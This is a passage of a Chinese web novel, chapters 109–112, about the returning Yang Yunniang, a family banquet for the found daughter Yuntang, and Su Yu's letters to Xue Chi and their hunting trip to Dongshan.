杨云娘对苏震岳很有印象,脾气不好,人却很好。 “见过老太爷。”杨云娘带着程采蓝见礼。 程采蓝规矩见礼,眼中的好奇却是压不住的。 “好,都很好。”苏震岳笑着说。 见面礼早就准备好,两个大红包,杨云娘和程采蓝一人一个。 谷夫人就这么一个女儿,离京多年,现在能回来,对谷夫人也是一个安慰。 “谢老太爷。”杨云娘和程采蓝说着。 随后是苏天佑和关氏,气氛顿时有点冷,连刘顺家的都不知道要说什么。 “多年未见,三老爷,三太太,安好。”杨云娘说着,刚才的情绪还没有收回来,脸上还带着泪。 这让杨云娘觉得有些尴尬,低着头几乎不去看苏天佑和关氏。 “三老爷,三太太,安好。”程采蓝规矩见礼。 苏天佑神情有些恍惚,十来年未见,真的好久了,“是啊,好多年了,你过的可还好。” “都很好。”杨云娘说着,终于抬起头来。 没看苏天佑,也没看关氏,有些尴尬的不知道该看哪。 关氏紧抿着唇,手攥的死紧。 只是努力保持平静的姿态,就让她用尽全力,实在说不出话来。 她以前就见过杨云娘,当时的她太傲慢了,认为杨云娘和谷夫人一样,小门小户的大美女,凭脸攀高枝,早晚都得摔下来。 结果,谷夫人成了一品诰命,苏天佑挂念杨云娘半辈子。只有她这个自恃甚高的高门千金,输的一败涂地。 气氛越来越尴尬,刘顺家的赶紧继续介绍,“这是三姑娘苏玫,四爷苏越。” “姑太太好。”苏玫说着。 从杨云娘进门前,苏玫一直盯着她看。 不得不说,大美女。 虽然远嫁离京多年,经历了丧夫之痛,又几经磨难,受了许多苦楚。 眼下风尘扑扑进京来,从杨云娘脸上能看到疲惫,精气神却是丝毫不减,背脊挺的很直,并不现柔弱之态。 “小玩意,哥儿姐儿们拿着玩吧。”杨云娘拿出两个荷包,苏玫和苏越一人一个。 苏越显得有些尴尬,苏天佑和杨云娘的故事,没有不知道的,匆匆接了荷包,“谢姑太太。” 苏玫也接过来,又道了声谢。 初见晚辈要给见面礼,关氏不可能没准备,估摸着是忘了。 “三姑娘,四爷。”程采蓝也跟着见礼。 苏玫和苏越跟着还礼,苏玫看一眼程采蓝,几乎和杨云娘一个模子刻出来的。 这样的大美人,怪不得苏邑会钟情。 至于苏钰,进屋后就在自己的位子上坐下来。因早就熟知了,并不需要再见礼。 “今天时候不早了,云娘和采蓝跟我睡。”谷夫人说着,“后街的房子己经收拾好,后天搬过去。” “是,听凭母亲安排。”杨云娘说着。 第109章 第 109 章 考虑到周车劳顿,…… 考虑到周车劳顿, 厮见之后谷夫人就宣布各自回去,明天中午等二房回来了再聚。 刘顺家的早给杨云娘母女收拾好床铺,众人散去后,就催促着她们吃饭睡觉。 谷夫人身体不大好, 大喜大悲都伤身, 人都回来了, 以后有的时间说话。 “母亲, 三老爷就是……” 母女俩同床而眠,丫头吹了灯, 程采蓝小声说着。 到直隶之后,她才知道杨云娘的这段往事。 从钱夫人的话语听到端倪,然后问了苏邑,苏邑老实,就全部跟她说了。 听苏邑说完, 她花了好长时间才消化掉。 她有一个好父亲,母亲并没有对不起父亲,婚前的一段插曲并不能代表什么。 不过, 见到苏天佑时, 她心情也很复杂。 就是这个人, 负了她的母亲。 “少时的往事,都过去了。”杨云娘说着。 世间之事不如意着十之八九, 与苏天佑分开时, 痛苦过,难受过,也挣扎过。 得知谷夫人要将她嫁出京城时,想死的心都有。 随着嫁人生子,十几年都己经过去了, 当初的那点情情爱爱,也都烟消云散。 程采蓝的父亲程老爷是很好的人,待她也很好,虽然无子有些遗憾,但也没有因此怨怪过她。 本以为会在江阴渡过一生,没想到人到中年,兜兜转转又回到京城。 或许这就是命,谷夫人给她安排了住处,女儿也将嫁得如意郎君。 母亲,女儿皆在跟前,她己经知足了。 “以后都在京城了,岂不是要常见面。”程采蓝不禁说着。 她和苏邑正在热恋中,代入一下就觉得很窒息。 苏邑要是另娶旁人,她情愿与苏邑今生再不相见,而不是时时相见,时时煎熬。 杨云娘不禁笑了,摸摸程采蓝的头,“你还小,不明白,时间久了,没有放不下的。” 尤其是有了孩子后,生活的重心己经转移,时间久了,也都过去了。 “不早了,睡吧。”杨云娘说着。 苏钰回到听雨轩,灯火通明,饭菜也都摆上桌,洗澡水也都预备好。 赶了几天路,苏钰没什么胃口,吃了几口就要去洗澡。 “你也累了,回去休息两天再过来。”苏钰对绿川说着。 “谢姑娘体恤,等我把东西收拾好了,就去歇着。”绿川笑着说。 苏钰去净房洗澡,等她洗完出来,绿川还在收拾整理。 “怎么还没去休息。”苏钰说着,“在直隶这些天,你也累了。” 出门在外,使唤的人少,得力的只有绿川一个,前前后后全靠她。 不像在府里,丫头婆子二十几个,就是不够机伶,因为人数够多,怎么也够用了,绿川就格外辛苦些。 “有姑娘的一封信。”绿路把信奉给苏钰。 “信?”苏钰听想有信,心情复杂。 绿川道:“薛大爷的。” 苏钰心情越发复杂,又有几分意外,“公主府的东西可以送进来了吗?” 以前薛迟送过,被谷夫人退回去了。 “是大爷的小厮送进来的。”绿川说着。 苏钰会意,苏略和薛迟有交情了,从正门送信走不通,让苏略的小厮带信,谷夫人无从得知,自然也不会阻拦。 “现在倒是会写信了。”苏钰接过信,有几分吐槽的说着。 要是她与薛迟交往之初,薛迟不派婆子传话,而是写信…… 要早发现不对劲,她就能从完全恋爱脑状态清醒吗? 她也不知道。 拆开信,苏钰细细读着。 衙门公文一样的情书,没有丝毫情趣存在,但内容十分认真,所有描述皆十分准确。 薛迟这样的恋人,不用猜他在想什么,他会直接说出来。 在信的最后,薛迟约她十天后东山打猎。 “东山啊……” 那是苏钰与笔友约定的地方,薛迟却出现了。 “研磨,我回信。”苏钰说着。 绿川看一眼苏钰,有点想说,其实可以明天回信的。这么晚了,信也送不出去。 但看苏钰恋爱脑上头的状态,绿川不敢多言,赶紧去西梢间研磨。 苏钰写信向来很快,尤其是给薛迟写信时,下笔如神,片刻功夫就能写大几张信纸。 而这回苏钰好像卡壳了一般,写写停停,还不停的修修改改。 绿川都快熬不住了,苏钰才算把信写完。 就一张纸,几句话。 她答应薛迟的邀约,十天后东山见面。 都要见面了,有话当面说,何必再写信。 “姑娘快睡吧,明天二老爷和二太太要过来的。”绿川忍不住提醒她。 五天旅途,累的饭都吃不下了,还能熬夜写一封送不出去的信。 恋爱脑真可怕。 “嗯。”苏钰嘴上应着,躺到床上后却还是翻来覆去睡不着。 在直隶的时候,还没有感觉,或者说离远,还可以逃避。 现在刚回到京城,就收到薛迟的书信,顿时思绪万千。 睡的晚,起的也迟。直到日上三杆,估摸着二房的人快来了,苏钰才慢悠悠从床上起来。 “姑娘写给薛大爷的信,我己经悄悄派人送去了。”绿川说着。 苏钰点点头,悄悄的送好,她也不想谷夫人知道。 随便吃几口早饭,苏钰正想着要去乐道堂。 “大爷来了……” 小丫头传话,苏略进到屋里。 “大哥。”苏钰起身相迎,笑着说,“我正要派婆子去看看你在不在,晚上过去看你。” 苏略说是住家里,但在家时间实在有限,想见他一面不容易。 “知道你回来了,特意回来。”苏略笑着说。 两人在厅里坐下,绿川奉茶。 “你倒是很机敏,不过搜集关楚河的证据,还是太大胆了些。”苏略说着。 关楚河行事素来谨慎,虽然事过皆有痕迹,但为了掩盖痕迹,肯定留有后手。 冒然调查,若是打草惊蛇被发现,被杀人灭口都有可能。 苏钰有些意外,在她的印象里,关楚河似乎没那么恐怖。 苏略这么一说,她也有些后怕。她委托程喻时,并没有提醒他,此事的危险性如此之高。 要是因此害了程喻,她的罪过就大了。 “我委托了一个朋友,就是我提过的,程喻。”苏钰说着。 “是他啊。”苏略笑着,神情意味深长,“还真是巧。” 苏钰迷惑的看着苏略,“什么巧?” “程皇后的亲侄子,可不是巧嘛。”苏略笑着说。 去一趟直隶,就跟薛迟的表弟成了朋友,还闹出了绯闻,这确实是意外的缘份。 “大哥知道了?”苏钰惊讶。 惊讶的变成了苏略,“你也知道了。” “程喻跟我说的。”苏钰说着,“大哥又是怎么知道的?” “你都为了他特意给我写信了,我当然得调查一下身份。”苏略说着。 早在好些年前,程家的情况他就一清二楚,其中就包括程喻,薛迟应该也是知道的。 程喻为了郑家脱籍四处奔波,他想过找个机会不着痕迹的把事情办了,让程喻欠下人情。 只是手头事情太多,程喻的人情欠不欠就那样,也就没当回事。 没想到苏钰去了一趟直隶,管了这件闲事。 苏钰不疑有他,笑着说,“程喻难得的重情重义。等郑家事完,我给他写信,若是愿意来京城,我介绍给大哥认识。” “你还是别写信了。”苏略打趣说着,“不然打翻了某人的醋缸,连我都觉得头痛。” 虽然没有点名,苏钰知道说的是薛迟。 想到薛迟,苏钰神情有些低落,“大哥别说笑了。” 苏略想想也觉得这玩笑不好笑,岔开话题,“多亏了你的证据,过几天你母亲就能从刑部大牢出来了。” “母亲在刑部大牢?”苏钰大惊失色。 “不用担心,我去看过了,没什么事。”苏略说着,“皇上天恩,并没有责罚,只让她禁足在楚王府。” 随后苏略把最近京城发生的事情说了,慕容宁血洗六部,力是出了,却没有达成目的。 显庆皇帝没有责罚,只怕以后也难得重用。 也挺好,以后慕容宁就老老实实在楚王爷养老,省得跑出来作妖。 苏钰听得松口气,“母亲无事就好。” 死了那么多人,她原本都担心慕容宁不得善终,现在只是禁足王府,真是开恩了。 苏略笑笑不语。 兄妹俩说了一会直隶的风水人情,苏略正欲起身走时,苏钰突然道:“大哥,有件事……” 薛迟不是她的笔友,笔友失约了。 她不知道笔友是谁,但以苏略的人脉,只要她把细节告知他,最多半日必然能把人找出来。 “你说。”苏略等她下文。 苏钰却显得十分犹豫,对着苏略沉默起来。 对薛迟的感情还没有理清楚,己经约了十天后见面。 这种情况下,再去找寻找笔友。 找到之后呢,她要说什么,她要做什么? 跑过去与人相认吗? 当时所有的激情都给了薛迟,就算是弄错了人,那种感觉也收不回来。 更重要的是,要是笔友不是薛迟,她还会这么喜欢吗? 答案是肯定的,不会。 苏略看着沉默的苏钰,既不催她,也不原由,径自起身说着,“等你想好来找我。” “嗯。”苏钰点头。 第110章 第 110 章 快到中午时,二房…… 快到中午时, 二房来了。 谷夫人在后花园设宴,虽然没有请外人,却是正式宴席。 苏辰找回来了,杨云娘和程采蓝归京, 都是大喜事。连苏略都在家, 一起吃席。 开席之前, 刘顺家的带着云棠, 与国公府众人厮见。 云棠的情况,叶氏早就写信告知。 苏震岳和谷夫人早有回信, 丢了的孩子能找回来就是莫大的喜事,以后就好好过日子。 苏天佑也十分高兴,苏辰丢了是二房之殇,现在终于一家人团圆,大喜事。 为了方便认亲, 谷夫人特意吩咐分席而座,两人一席。 “这是老太爷,老太太。”刘顺家的领着云棠见礼。 苏震岳和谷夫人同席而座, 云棠上前拜见, 谷夫人早准备了见面礼。 四匹锦缎, 一整套头面首饰。 “谢老太太。”云棠说着,身侧的丫头收起礼起。 苏震岳早有准备, 拿出一个荷包递给云棠, “小姑娘喜欢什么我也不知道,在外这么多年,我也没给过压岁钱,这里头是两千两银票,全当是这些年的压岁钱。” 云棠一听里面有两千两, 顿时呆住了,不禁看向席上坐着的叶氏。 叶氏也有些意外,但想到苏震岳,这确实是他的风格,笑着道:“祖父给的,就好好收下。” 云棠这才敢收下,“谢老太爷。” 苏天佑和关氏坐在苏震岳的右边手,刘顺家的领着云棠上前。 “这是三老爷,三太太。”刘顺家的笑着说。 苏天佑早有见面礼,十个金锞子,十个银锞子。 关氏也有准备,四匹锦缎。 云棠身侧的丫头收了,云棠道谢。 “辰姐儿回来了,该支会亲友一声。好好下贴摆酒。”苏天佑笑着说的时候,看了关氏一眼。 关氏现在管家,这事该她来张罗。 关氏神情淡淡的,“是该挑个日子,好好摆酒。” 她最近的注意力全在杨云娘归京的事上,心情郁结,身体也有些不适,事情多了就有些顾不上。 再者,云棠的遭遇虽然很可怜,但实在有些不堪。京城那么多好事之徒,到时候扒出来,脸上都不好看。 叶氏看出关氏的不情愿,笑着说,“我父亲己经给叶氏族人下了贴,下个月摆酒。我想着不如一起,我来操办。” 谷夫人点点头,“也好。” 关氏脸色微微变了,此时却不好说什么,只能笑笑。 杨云娘和程采蓝在直隶时己经见过,程采蓝起身,与云棠相互见礼。 接下来就是苏略和苏钰,兄妹俩一席。 不等刘顺家的介绍,苏钰站起身来,指着苏略笑着说,“这是大哥。” “大哥。”云棠见礼,有些慌张。 可能是直觉,这个兄长,让她有些惧怕。 苏略微笑,“二妹妹。” 身侧小厮把见面礼送上,还包括了苏钰的部分。 十个金锞子,一套首饰。 最后是苏玫和苏越,贺英本来也想来,苏玫不同意,直言他敢来,就让苏家管事把他赶出去。 不等云棠过来,两人皆站起身来,苏越有些好奇的打量着云棠。 “这是三姑奶奶,四爷。”刘顺家的介绍。 因为是妹妹和弟弟,云棠早有准备。 苏玫和苏越也一样有礼,算是相互交换。 各自见礼之后,苏玫却是看一眼旁边席上的苏邑,笑着说,“二姐与三哥长的真像。” 苏家一直都有双胞胎基因,苏震山和苏震岳,苏天翊和苏天华,苏邑和苏辰,每代一对。 不过,眼前的云棠与苏邑并不是完全的一模一样,可能是男女差别,但也十分相似。 虽然有弟弟,苏玫对于拥有双胞胎兄弟姐妹依然十分羡慕。 除了父母外,兄弟姐妹最亲。 而双胞胎,可能是比父母还要亲的存在。 “是啊。”叶氏笑着,又有几分感慨,“也因为像,才能寻回来。” 云棠心中有愧,低着头不敢说话。 她并不是苏辰,苏天华却愿意当她是亲生女儿,为了叶氏。 “辰姐儿找回来了,你们也该搬回来了。”苏震岳笑着说。 “行李还没收拾完,我父亲挂念辰姐儿这些年,想着多住些日子。”叶氏笑着说。 找回云棠后就搬回国公府,她以前是有这个打算,还给关氏写过信,请她收拾房舍。 但是苏邑要娶程采蓝,与杨云娘肯定常来往,要是住回国公府,只怕三房要不太平。 苏震岳道:“多住些日子没什么,但邑哥儿都要成亲了,媳妇总不能娶到别人家里。” 叶氏有些犹豫,也知道苏震岳说的在理。 叶峰出继叶家是婚前就谈好的,将来娶妻生子都在叶家是一定的。 但苏邑没有出继,是二房可以承家业的儿子。婚后常住叶家都可以,但婚礼需得苏家办,媳妇也得在苏家娶。 “老太爷说的是,等再过些日子,我们就搬回来。”苏天华说着。 谷夫人笑着道:“邑哥儿年龄也不小了,婚事今年就办了。” 她最后悔的一件事,苏天佑和杨云娘当时两情相悦,年龄也到了。 想着这是板上钉钉的事,反而不着急办婚事,年龄再大一岁,挑个更好的日子。 结果…… “我也是这个意思。”叶氏笑着说,看向杨云娘,两人早就商议过了,“等姑太太搬了新家,就下聘。” 都是刚进京,杨云娘母女还没正式搬到住所,聘礼也不好下。 “如此甚好。”谷夫人笑着说。 人多话多,你一句我一句,因为是分席而座,关氏一直沉默不语,也显不出来。 另一个一直没说话的是苏略,不过他向来如此,也没人在意。 苏钰笑着给苏略倒酒,却是笑着道:“大哥,辰姐儿找回来了,你给父亲写信说了吗?” 兄妹一场,她自觉得了解苏略。 苏略虽然嘴上没说,但感觉有点怪。 “没必要。”苏略声音很轻,“父亲会把她带回来。” 苏钰没听清楚后面一句,“什么?” “没什么。”苏略说着,“你母亲知道吗?” 苏钰点点头,“我给母亲写了信。” “那她应该很高兴吧。”苏略说着,几乎压不住嘴角的嘲讽。 苏钰正想说什么,苏邑突然对她和苏略说着,“明天姑太太搬家,要摆酒设宴,大哥,阿钰,你们一起来吧。” “我自然是要去的。”苏钰笑着说,看一眼苏略。 苏略笑着说,“我明天就事,就不去了。贺礼就劳阿钰帮我带过去。” “好,我帮你这个忙。”苏钰笑着说。 苏略向来忙,在家的时候都少,苏邑也不在意。随后又看向苏玫和苏越,“你们也一起吧,难得大家一起热闹。” 苏越并未多想,笑着道:“好啊,我去。” 苏玫考虑到关氏,笑着说,“我过来时与贺英说过,明天要回家,就不过去了。” “好。”苏邑笑着说。 因为是家宴,都十分随意。吃饱喝足就散场,各自回屋休息。 苏天华正想辞行,苏震岳突然叫住他,“让你媳妇先回去,我有话跟你说。” 叔侄俩常年上阵场,苏震岳常有话吩咐,苏天华道:“是。” 各自回去,关氏回到玉粹堂,心情阴郁。 苏玫知她心结,却又有些无奈,“母亲,今天是二姐姐回家认亲,你该高兴些。” 叶氏是很好相处的妯娌,却不是受气的脾气。 关氏要是因为云棠的遭遇给她白眼,叶氏肯定不会有好脸色。 “我没有不高兴。”关氏说着,却是叹口气,“我管了这么多年家,突然觉得自己倒像是外人了。” 今天的宴席是谷夫人安排的,席上叶氏高高兴兴的跟杨云娘商议婚事。 谷夫人也偶尔插嘴,叶峰,苏邑也是跟程采蓝说不停。苏越虽然也想插嘴,但明显插不上话。 苏略与苏钰也是,要么是两个人说话,要么是跟二房或者程采蓝说话。 要不是苏玫在她身侧,她今天席上只怕一句话都说不了。 “今天的宴席本来就是为了二姑娘,自然所有人都会围着她。”苏玫说着,“二姑娘命运多舛,难得寻回来了,家里上上下下都会多疼她些。” 今天席上,别说其他人,她都看出来了,关氏对于云棠淡淡的。 下贴请亲友,摆宴席这种事情,哪里需要苏天佑说出来,关氏早该提前张罗。 现在叶氏主动提出要操办,还是在叶家办,就是觉得关氏不想办。 “跟着过去的小厮说,辰姐儿在直隶生过一个儿子,却没有带回来。”关氏说着。 苏玫也听说了,却是道:“若是孽债,不愿带回也是常理。” 就像她流掉的那个孩子,她现在就觉得幸庆。 放到云棠身上也一样,当外室的时候生的孩子。现在回归正常人生了,不想带在身边拖累自己一辈子也正常。 恢复原本身份,苏家千金不愁嫁,再遇良人,重新开始新生活,孩子可以再生。 “自己身上掉下来的肉,哪能说孽债。”关氏说着,“大人的事,稚子无辜。” 与苏天佑的夫妻感情太失败,她把太多感情放到儿女身上,无法理解也不能原谅放弃亲生孩儿的女人。 一个女人连亲生孩儿都能舍得,这也是个心狠的。 苏玫不想与关氏争论,“二姑娘是二房的人,母亲何必管这些。” 关氏没作声,对云棠情绪复杂,可能是跟苏家相处久了,她总觉得这个云棠不像是苏家人。 110-120 第111章 第 111 章 苏玫因在席上说了要回…… 苏玫因在席上说了要回贺家, 哪怕是明天回去,后天再回来,样子总是要做的。 次日早饭后,苏玫便辞了苏家众人, 坐车回贺家, 打算后天回来。 苏钰也起个大早, 乔迁之喜, 自然不能去晚了。 早饭过后,小丫头侍侯更衣时, 绿川笑着说, “我听小子们说,就在国公府后头,说是一条街,其实就隔了一条小巷。” 因为离的太近, 因好奇还特意打听了一下。国公府的老仆多,许多往事都晓的。 这处宅子还是当初苏家分家时,分给苏震岳的。因为苏震岳无故休妻, 谷夫人改嫁时, 苏震山便做主, 把苏震岳分得家产一半给了谷夫人当嫁妆,其中就有这套宅子。 “那好啊, 连车都不用坐, 走着过去更方便。”苏钰笑着说。 说话间苏钰更衣完毕,估摸着时间差不多了, 先去了乐道堂。 除了绿川外,还带了两个婆子。 恭喜乔迁,自然不能空手来。与见面礼不同, 乔迁礼是要摆设的。 再加上苏略的一份,苏钰开库房挑出了四样礼。不知道杨云娘的喜好,那就挑贵的送。 谷夫人和杨云娘、程采蓝母女己经收拾妥当,苏震岳,苏天佑,苏越也都在了。 至于二房众人,从叶家直接过去,就不过来国公府。 因为只隔一条胡同,连车都没坐。苏震岳早就吩咐小厮今天把胡同前后封路,不准外人进出,免得冲撞了。 四进的宅子没有花园,多宽敞说不上,杨云娘母女俩住足够了。 因为一直有租凭出去,宅子保养的还好。 刘顺家的得知杨云娘要过去住后,就带着人收拾整理,此时全部安排妥当。 门匾也换掉了,“程府”的门匾挂在大门上。 房舍不大,收拾的却很整齐。 杨云娘住了后头三间正房,前头三间是程采蓝住,因为要准备婚事,东西厢房当做备嫁之所。 绣嫁衣的所需之物,己经准备上。就等绣娘来了,程采蓝就开始动手。 看了一圈,后头正房坐着休息,苏钰就随着众人一起把贺礼送上。 乔迁之喜送的东西都大差不差,不过是长辈给的贵重些,晚辈随心意。 “看着你住进这里,我也放心了。”谷夫人对杨云娘说着。 当年苏天佑和杨云娘交往,是她默许的。 要是她没有默许,在有苗头时就大力阻止,也许就没有后面的悲剧。 钱夫人说她偏心自己的亲生儿子,也没说错。当年是无奈之举,但她这个养母对杨云娘确实不好。 养父都官至阁老了,养女被欺负到吃绝户。若是杨云娘嫁在京城,何至于如此。 杨云娘心情复杂,高兴是真高兴,眼泪差点落下来,笑着说,“我这个岁数了,还要母亲照顾,实在不孝。” “我老了,只想儿女都在身边,你常来看看我,我就高兴了。”谷夫人说着。 苏天佑觉得宅子小了些,但想到将来程采蓝出嫁后,杨云娘一个人住也足够了。 重要的是离国公府也很近,有事可以照应,不至于一个人在外头被欺负了都没人知道。 “以后有事,就让人往府里传话。”苏天佑吩咐着管事。 管事也是原本国公府里的,刘顺家的挑的,问过本人的意见,身契转给了杨云娘。 连带着侍侯的丫头婆子,二十几个,也是从国公府家生子里挑的。 苏家主子太少,下人太多,根本使唤不完。 “是,三老爷放心,老奴定小心侍侯。”管事说着。 刘顺家的笑着说,“后罩楼里摆了酒,老太太,老爷,哥儿姐儿们都过去吧。” “走,我们都去。”谷夫人笑着说。 因为地方小,也没请戏班,因没有外人在,男女同席摆了两桌。 杨云娘不善酒力,让程采蓝代她敬酒。 酒过三巡,菜过五味,叶氏与杨云娘一直在商量苏邑和程采蓝的婚事。 按叶氏的想法,最迟年底就把婚事办了,婚后住在国公府。 至于婚事操办,不用关氏操心,她回到国公府后,就亲自操办。 苏天佑旁边听着有些愧疚,看向叶氏道:“二嫂搬回来后,还要劳你辛苦,管家理事。” 最开始是慕容宁管家,长媳又是国公夫人。 后来慕容宁改嫁,叶氏也搬走了,才到关氏管家。 现在叶氏要搬回来了,关氏连给云棠办接风宴席都不愿意,还得在叶家办。 接下来就是苏邑娶妻,亲家是杨云娘,叶氏又提出自己张罗。 都这样了,关氏这个家就没必要管了。 叶氏连连摆手,笑着说,“管家那么麻烦的事,我可干不来。三太太管了这么多年,两府上下顺顺当当,十分难得。” 她是独女,叶峰过继后,叶家上下都是她打理的。就是搬回国公府住,叶家的事还是要她操心的。 而且关氏都管家这么多年了,她回来就要夺关氏的管家权,别说妯娌没得做,只怕家宅都不宁了。 苏震岳突然插嘴,“我也觉得老二媳妇管家挺好,叶家那么一大家子,都料理的过来。” 叶氏惊讶的看着苏震岳,连苏天佑都有些惊讶,一直以来苏震岳是不管家务事的。 就是对关氏有不满,也只会把关氏叫过去骂一顿,不会拿管家权说事。 “老太爷太抬举我了。”叶氏惊讶之后笑着说,“眼下我还得娶儿媳妇呢,以后再说。” 关氏到底做了什么事,让苏震岳都觉得她管家不合适。 谷夫人笑着道:“大喜的日子,这些烦琐的事以后再说。” 吃完散席,己经是下午了。 众人要走的时候,苏钰突然叫住苏邑和苏越,“有时间吗,去东山打猎?” 薛迟约了她,要是以前,单独去没什么。 现在的薛迟是有未婚妻的,单独约见就不方便。叫上家中兄弟姐妹一起,打猎嘛,人多热闹。 “好啊。”苏邑笑着说,又看向程采蓝,“我们一起去。” 程采蓝看向杨云娘,询问着,“母亲,我能去吗?” 杨云娘心里有些犹豫,程采蓝不会骑马,担心扫兴。但看程采蓝如此期待,便笑着道:“去吧。” 苏越也很想去,他最近读书读的头都要炸了,但想到要请假,要跟关氏解释,他就觉得还不如去读书。 至少教书先生只是正常上课,而不是问东问西,说一通大道理。 苏天佑看出苏越心思,笑着说,“一起去吧,正值春天,出门走走也挺好的。” 苏越顿时高兴起来,“是。” 没被邀请的叶峰,突然对苏钰说,“你不会约了人吧。” 苏钰心中警铃大作,她没叫叶峰同行,就是担心叶锋会说她,笑着道:“打猎人多热闹。” 叶峰皱眉,有心想问是约了薛迟,还是谢无衣。转念又想,这两个约谁都不好。 只要不是两个一起约就好。 约定好时间,各自回家。二房回叶家还需要做车,苏家众人走回去即可。 先是赶了五天路,又连着两天吃席,苏钰回到听雨轩,也觉得累了。 脱外衣刚想躺一会,就有小丫头拿信进来,“大爷的小厮送来的,说是给姑娘的。” 绿川接过来,奉给苏钰。 己经约好了十天后相见,竟然还这么快写回信。 苏钰有点点高兴,拆开信,依然是薄薄的一张纸。情话写的跟邸报公文似的,没有语法错误,也品不出什么情味。 算是另一种情书吧。 “研磨,我回……” 苏钰下意识说着,随即道,“算了,不回了。” 上一封回信,她纠结了那么久,最后只写了一个见面谈。 现在再回信,她更不知道要说什么。 绿川想了想,小心翼翼说着,“姑娘,薛大爷……”就要尚主了。 与有未婚妻的来往太多,会被说闲话的。 苏略很奇怪,为什么要帮薛迟送信。 按理说,薛迟都要尚主了,苏略应该阻止他们见面才是。 “有件事,我想问问他,也想跟他说件事。”苏钰说着。 问薛迟为什么那天会出现在东山,也想告诉他,自己其实是认错了人。 绿川不敢再问,做为贴身丫环,她知道苏钰纠结,却有些好奇,一直以来苏钰与薛迟交往的很好。 就是因为指婚之事,苏钰打断与薛迟了断。但也不该像现在这样,好像很迷茫的样子。 转眼到了约定当天,苏钰,苏邑,苏越三人骑马,程采蓝坐车。 另外还有六骑,因为要打猎,考虑到安全,带的都是护院。 全部会骑马能打猎,就是遇上老虎,都能上手打的练家子。 另外还有一辆小车,坐着四个小厮,四个丫头,这是专门侍侯的。 角门出去,刚到拐角处,就见薛迟在路口等着,与苏钰这边的情况相同,身边也是大队人马。 更神奇的是,薛雨梓竟然同行,她坐在马车上,看到苏钰过来,打起车帘朝苏钰招招手。 “薛姑娘。”苏钰有些意外,不管真假薛雨梓可是跟谢无衣定了亲的。 薛雨梓笑着道:“得知姑娘要去打猎,我特别请求大公子同行。” 第112章 第 112 章 一起打猎,当然不…… 一起打猎, 当然不是薛雨梓请求来的。她在公主府人微言轻,请求也没有用。 是晋阳长公主得知薛迟约了苏钰打猎,生怕出事,死活让薛雨梓同行。 理由是, 东山在京郊, 要是打猎, 怎么也得呆几天。要只是白天出去玩, 一男一女出去玩什么,要宿到外头, 必须得有女子跟随。 薛雨梓就被打包出现在队伍里,不过她能与苏钰见面,她也挺高兴的。 而且难得有机会出来打猎,总是在家里,也挺烦的。 “打猎就是要人多。”苏钰笑着说, 指指身边的苏邑和苏越,“我的两个弟弟,苏邑和苏越, 车里是我未来的弟媳程采蓝。” “苏三爷, 苏四爷, 程姑娘。”薛雨梓笑着说。 因为是在路口,不是寒暄的地方。 薛迟看向苏钰, “走吧。” 这么一大队人马出行, 自然引人注目,幸运的是,很快出城了。 薛迟策马到苏钰身侧,没说话,只是看着她, 唇角勾起一抹笑。 只是看到苏钰,他就觉得很开心。 苏钰被看的有点不自在,却又忍不住看向薛迟。 上次见面是莲花庵里,薛迟来找她。 当日情形还历历在目,几个月过去,成年男子的样貌不会有变化,苏钰却总觉得他有点点不同。 笔友的滤镜去掉,因误会而搞错的形象得到修正。眼前的薛迟,在她心中又变成她第一次见到的模样。 身材高大,气宇轩昂,剑眉斜飞入鬓,双眸似寒星,紧抿着唇带着严肃与威严。 与同龄人相比,薛迟更像是长辈。 回想当初的的一见钟情,是觉得他像苏天翊,不像样貌,是感觉像。 现在想来,苏天翊那种性格的人,怎么会跟人当笔友,性格更不会像信中那般跳脱。 只是当局者迷时,所有的破绽她都视而不见。 “你能过来我很高兴。”薛迟说着。 他和昭华公主的婚约还没解决,苏钰不接受他的邀约也正常。 苏钰来了,他更高兴。 苏钰心情复杂,“为郑家脱籍之事,多谢你。” 虽然苏略也可以办妥,但薛迟办了,还让陈平亲自跑一趟,这声谢她是要说的。 “不用道谢。”薛迟说着,“再有几日,陈平会带程喻进京。” “啊?” 苏钰十分意外,“程喻和陈平一起进京?” 她离开直隶时,给程喻送了辞行信,程喻回信了,人却没有过来。 只要信上说,山水有相逢,没想到逢的这么快。 “我的吩咐。”薛迟说着,“能为从未蒙面的亲友,放下前程奔波四年,难得的忠义之士。又与你关系交好,我起了惜才之心。” 程皇后仅剩的嫡亲侄子,也是他表弟。 陈平既然去了直隶,处理完郑家之事,就顺道把他也带回京城。 只是这个理由,现在还不能对苏钰言明。 理由看似很充足,苏钰却觉得另有原由。 但看薛迟的神色,他若是想说,自然会接着说下去。若是不想说,问也没有用。 “等他来了京城,我得尽尽地主之谊,给他接风。”苏钰笑着说。 薛迟道:“我来安排。” 苏钰本意是自己给程喻接风,但带回程喻竟然是陈平,薛迟来安排也合适,笑着说,“好,我等你消息。” 薛迟语气温和,“我不喜欢你与程喻单独见面。” 这么短的时间内,苏钰不可能对程喻有什么感情。但年轻男女见多了,没事也会有事,最好就是别见。 苏钰微微皱眉,欲言又止,又实在不知道要从何说起。 她跟薛迟现在是什么关系? 好像没关系,又好像有点关系。 而程喻,真的只是她的一个朋友。 苏钰索性不回应,扬鞭策马,又对身后的苏邑和苏越说着,“要不要赛马,看谁先到。” 薛迟笑着,策马追了上去。 要往常,苏邑肯定也得追上去比一比,只是此时与程采蓝同行。 马车跑不了那么快,也没有必要。 苏越下意识追上去参加比赛,坐在车上的薛雨梓突然道:“四爷。” 薛迟都追上去了,人家小情侣有话说,苏越追上去干嘛,是觉得自己够亮吗? 苏越下意识勒住缰绳,看向薛雨梓。 瓜子脸,眉若弯月,不描而翠,一双眼眸清澈如水,顾盼之间,灵动可人。 客观的说,薛雨梓说不上大美女,跟苏钰,程采蓝都没法比,苏玫也比她好看。 但薛雨梓给他的感觉很舒服,声音很温柔,尤其是看着人时,似乎把对方格外放在心上。 “薛姑娘有什么事吗?”苏越问着。 薛雨样笑着说,“我从来没有去过东山,更没打过猎,不知规矩怕闹笑话,想请四爷提点几句。” 苏越连忙说,“薛姑娘太客气了,我也甚少出门,也不常出来打猎。提点不敢当,姑娘若是有什么想问,多大概还知道些。” 薛雨梓笑着,“那就请四爷指点。” 东山山脉连绵不绝,东山的猎场在京都郊外算是大的。 因常有贵族子弟过来打猎游玩,山里又凉快,是夏天的避暑胜地。 京城多数贵族之家皆在山上建有别院,只是有钱却不够贵的,都没资格建。 因为苏钰要来玩,早在几天前就有管事带着小厮丫头过来,打扫整理,一应铺阵全部收拾妥当。 因不是夏天,春天出来打猎的也不多,东山上的别院多闲置着,看起来荒无人烟。 苏钰和薛迟一路奔狂,把随从护院都甩在了身后。 